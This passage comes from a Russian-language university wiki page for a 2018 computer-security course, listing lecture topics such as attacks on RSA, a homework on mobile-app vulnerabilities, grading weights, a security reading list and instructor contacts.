# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course